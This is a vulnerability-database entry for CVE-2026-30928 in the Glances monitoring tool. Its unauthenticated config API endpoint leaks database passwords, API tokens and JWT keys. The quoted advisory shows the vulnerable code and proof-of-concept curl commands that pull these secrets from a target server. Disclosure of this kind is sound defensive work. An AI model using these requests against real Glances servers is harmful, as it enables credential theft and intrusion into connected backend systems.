CVE-2026-30928
highpriority · track · 31EPSS 0.017 · 77 %ileEURUUSEPSS · scored 2026-10-27
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-gh4x-f7cq-wwx6Glances Exposes Unauthenticated Configuration Secrets2026-03-09ghsa · osvUS
### Summary The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. ### Details Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied. Affected Code: - _File: glances/outputs/glances_restful_api.py, lines 1154-1167_ ``` def _api_config(self): """Glances API RESTful implementation. Return the JSON representation of the Glances configuration file HTTP/200 if OK HTTP/404 if others error """ try: # Get the RAW value of the config' dict args_json = self.config.as_dict() # <-- Returns ALL config including secrets except Exception as e: raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})") else: return GlancesJSONResponse(args_json) ``` - _File: glances/config.py, lines 280-287_ ``` def as_dict(self): """Return the configuration as a dict""" dictionary = {} for section in self.parser.sections(): dictionary[section] = {} for option in self.parser.options(section): dictionary[section][option] = self.parser.get(section, option) # No filtering return dictionary ``` - _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_ ``` if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) # No authentication! ``` ### PoC - Start Glances in default webserver mode: ``` glances -w # Glances web server started on http://0.0.0.0:61208/ ``` - From any network-reachable host, retrieve all configuration secrets: ``` # Get entire config including all credentials curl http://target:61208/api/4/config ``` Step 3: Extract specific secrets: ``` # Get JWT secret key for token forgery curl http://target:61208/api/4/config/outputs/jwt_secret_key # Get InfluxDB token curl http://target:61208/api/4/config/influxdb2/token # Get all stored server passwords curl http://target:61208/api/4/config/passwords ``` ### Impact Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
- PYSEC-2026-21642026-03-10vendor · osvUS
Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.1, the /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords. This vulnerability is fixed in 4.5.1.
also known as (8)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-30928cnnvd
- https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37dacnnvd
- https://github.com/nicolargo/glances/releasesPatchcnnvd
- https://github.com/nicolargo/glances/releases/tag/v4.5.1cnnvd
- https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6cnnvd
- https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37daenisa_euvd
- https://github.com/nicolargo/glances/releases/tag/v4.5.1enisa_euvd
- https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan